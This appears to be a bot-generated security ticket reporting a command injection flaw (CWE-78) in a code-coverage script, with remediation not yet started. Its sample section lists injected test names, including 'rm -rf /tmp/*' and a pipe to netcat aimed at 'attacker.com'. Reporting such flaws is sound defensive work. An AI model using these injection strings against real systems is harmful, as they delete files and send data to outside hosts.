Uploaded image for project: 'AI Platform Core Components'
  1. AI Platform Core Components
  2. AIPCC-9824

[BOT][Security] CWE-78 in run.py:28

XMLWordPrintable

    • False
    • Hide

      None

      Show
      None
    • False

      Vulnerability Details

      CWE Type(s): CWE-78
      Severity: HIGH
      Team: Unassigned

      Location

      • File: tools/code_coverage/package/oss/run.py
      • Lines: 28

      Description

      run_target() called without input validation - binary_file obtained from get_oss_binary_file() is passed to gcc_coverage.run_target() without validation. The binary file path may contain shell metacharacters or path traversal sequences.

      Impact

      Command injection through malicious test names or binary file paths. An attacker who can control test names can potentially inject shell commands that will be executed during coverage testing.

      Root Cause

      Unvalidated binary_file passed to run_target() which may use unsafe shell execution. No sanitization of test.name before being used to construct binary file paths.

      Fix Status

      MR Link: Not yet created
      Fix Branch: N/A
      Status: NOT_FIXED

      Related Exploit Files

      • test_cwe78_run.py

      Exploit Code Sample

      # Vulnerable code pattern
      for test in tests:
          binary_file = get_oss_binary_file(test.name, test.test_type)
          gcc_coverage.run_target(binary_file, test.test_type)  # No validation
      
      # Malicious test names
      malicious_names = [
          "test; rm -rf /tmp/*",
          "test$(whoami)",
          "test|nc attacker.com 1234"
      ]
      

      References


      Generated by CI Security Bot

              Unassigned Unassigned
              rh-ee-rpunia Riya Punia
              Votes:
              0 Vote for this issue
              Watchers:
              1 Start watching this issue

                Created:
                Updated: